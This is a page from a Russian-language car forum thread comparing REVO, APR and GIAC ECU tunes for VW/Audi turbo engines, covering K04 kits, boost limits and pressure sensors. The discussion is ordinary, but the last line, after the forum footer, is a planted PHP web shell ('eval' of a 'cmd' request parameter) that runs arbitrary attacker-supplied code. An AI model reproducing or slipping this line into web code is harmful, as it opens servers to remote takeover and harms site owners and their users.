+ Ответить в теме
Страница 37 из 81 ПерваяПервая ... 27 35 36 37 38 39 47 ... ПоследняяПоследняя
Показано с 361 по 370 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


  1. #361
    GTI-Racing серега_с_оболони is on a distinguished road Аватар для серега_с_оболони
    Регистрация
    11.01.2010
    Откуда
    Киев
    Машина
    GTI Mk2 GT28RS
    Сообщений
    44
    Цитата Сообщение от Spaceman Посмотреть сообщение
    не плохо квотер из 14..
    13.98 - это мой знакомый Фыровод!
    ...а без форджевского актуатора он ехал стабильные низкие 14, вот таблица с одного дня заездов:

    у меня с ним все железо одинаково, только у него актуатор, так вот роллом он с 60-240 навозит мне 2-3 корпуса.
    Последний раз редактировалось серега_с_оболони; 22.11.2011 в 20:00.
    Впуск K&N "Typhoon"+ Выхлоп Super Sprint + чип Powered by Overload+STOPTECH Big Brake Kit
    http://www.drive2.ru/cars/skoda/octa...rega-s-oboloni

  2. #362
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от APR RUSSIA Посмотреть сообщение
    Наш турбо-кит K04 дует максимум 1.5 бара в очень кратковременном (около 200rpm) boost spike, так что другой датчик тут не нужен.
    ====
    Соответственно "на очень кратковременном" отрезке есть запрос и допуск по давлению 1.5 бар. Так вот просто потому-что мозг более 1.5 никогда не увидит, при обрыве мааахонькой трубочки идущей на (с) клапан (а) управления давлением наддува турбина "на очень кратковременном" отрезке сможет "на секундочку" набрать давление наддува в 2.5бар (3.5бар абсолюта) что не очень понравится шатунам и как следствие мотору в целом.
    Не нужно недооценивать расчёты инженеров концерна фольксваген-ауди.
    Благодаря этим расчётам все мы имеем возможность получить до +100% от заводских показателей не вмешиваясь в железо, но зачем-же экономить на безопастности ?

  3. #363
    GTI-Racing vikeis is on a distinguished road Аватар для vikeis
    Регистрация
    24.11.2008
    Откуда
    Москва
    Машина
    Audi TTS REVO 2+
    Сообщений
    361
    Тааак, уехал на неделю, вернулся, ничего нового!!!!

    выложите уже кто-нить РЕАЛЬНЫЕ замеры на 1ой машине (графики сил, температур и т.д.)

    REVO vs APR

    я вас УМОЛЯЮ

    лично для себя выделяю 1 плюс REVO, спец по настройке в МСК, а не просто заливание готовой прошивки.
    Audi TT-S Kreuzfahrer / REVO stage2+ LT / BBS LM/LM-R / AirLift Accuair / Forge Twincooler, DV, Intake / насос APR / Magnaflow 3" custom

    http://www.drive2.ru/cars/audi/tt_s/tt_s/vikeis/

  4. #364
    GTI-Racing valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough valj is a jewel in the rough Аватар для valj
    Регистрация
    02.06.2010
    Откуда
    Москва
    Машина
    mk6 gti
    Сообщений
    1,846
    +1 к замерам

    А так обе компании заливают типовые прошивки, насколько я понимаю

  5. #365
    GTI-Racing Zerg is on a distinguished road Аватар для Zerg
    Регистрация
    12.04.2007
    Откуда
    Москва
    Машина
    GTI
    Сообщений
    383
    +1 к ТурбоРэбиту
    Софт под K04 у GIAC работает исключительно с датчиком 130-140BAR RS4 FPR

  6. #366
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    Цитата Сообщение от Zerg Посмотреть сообщение
    +1 к ТурбоРэбиту
    Софт под K04 у GIAC работает исключительно с датчиком 130-140BAR RS4 FPR
    это клапан для рейки, а рэббит говорит за мап.

  7. #367
    Цитата Сообщение от Амет Посмотреть сообщение
    это клапан для рейки, а рэббит говорит за мап.
    Ну про это Кирилл как априори имеет ввиду. Порог его срабатывания 136 бар. Но его в ките АПР тоже нет.
    Он говорит про МАП а так же про датчик давления в топливной рейке - которых так же нет...
    2.0 TFSI/K04..

  8. #368
    GTI-Racing Zerg is on a distinguished road Аватар для Zerg
    Регистрация
    12.04.2007
    Откуда
    Москва
    Машина
    GTI
    Сообщений
    383
    Цитата Сообщение от Амет Посмотреть сообщение
    это клапан для рейки, а рэббит говорит за мап.
    И МАП в том числе, ибо в GIAC Extreme flash буст 1.5bar ну никак не "около 200rpm" (с) :-)
    Последний раз редактировалось Zerg; 23.11.2011 в 01:44.

  9. #369
    GTI-Racing andrei_don is on a distinguished road Аватар для andrei_don
    Регистрация
    03.01.2010
    Откуда
    Белгород
    Машина
    09'Golf MK6 GTI DSG
    Сообщений
    157
    Посмотрел на сайте РЕВО, но инфы с заменой датчиков под К04 кит не нашел...

    http://www.revotechnik.com/index.php...kswagen#stage3

    Может не там смотрю? Где ссылка+парт намберы деталей требуемых к замене?

  10. #370
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Цитата Сообщение от andrei_don Посмотреть сообщение
    Посмотрел на сайте РЕВО, но инфы с заменой датчиков под К04 кит не нашел...

    http://www.revotechnik.com/index.php...kswagen#stage3

    Может не там смотрю? Где ссылка+парт намберы деталей требуемых к замене?
    Да нет там этого "списка", нет у них требований поменять эти датчики!

+ Ответить в теме
Страница 37 из 81 ПерваяПервая ... 27 35 36 37 38 39 47 ... ПоследняяПоследняя

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}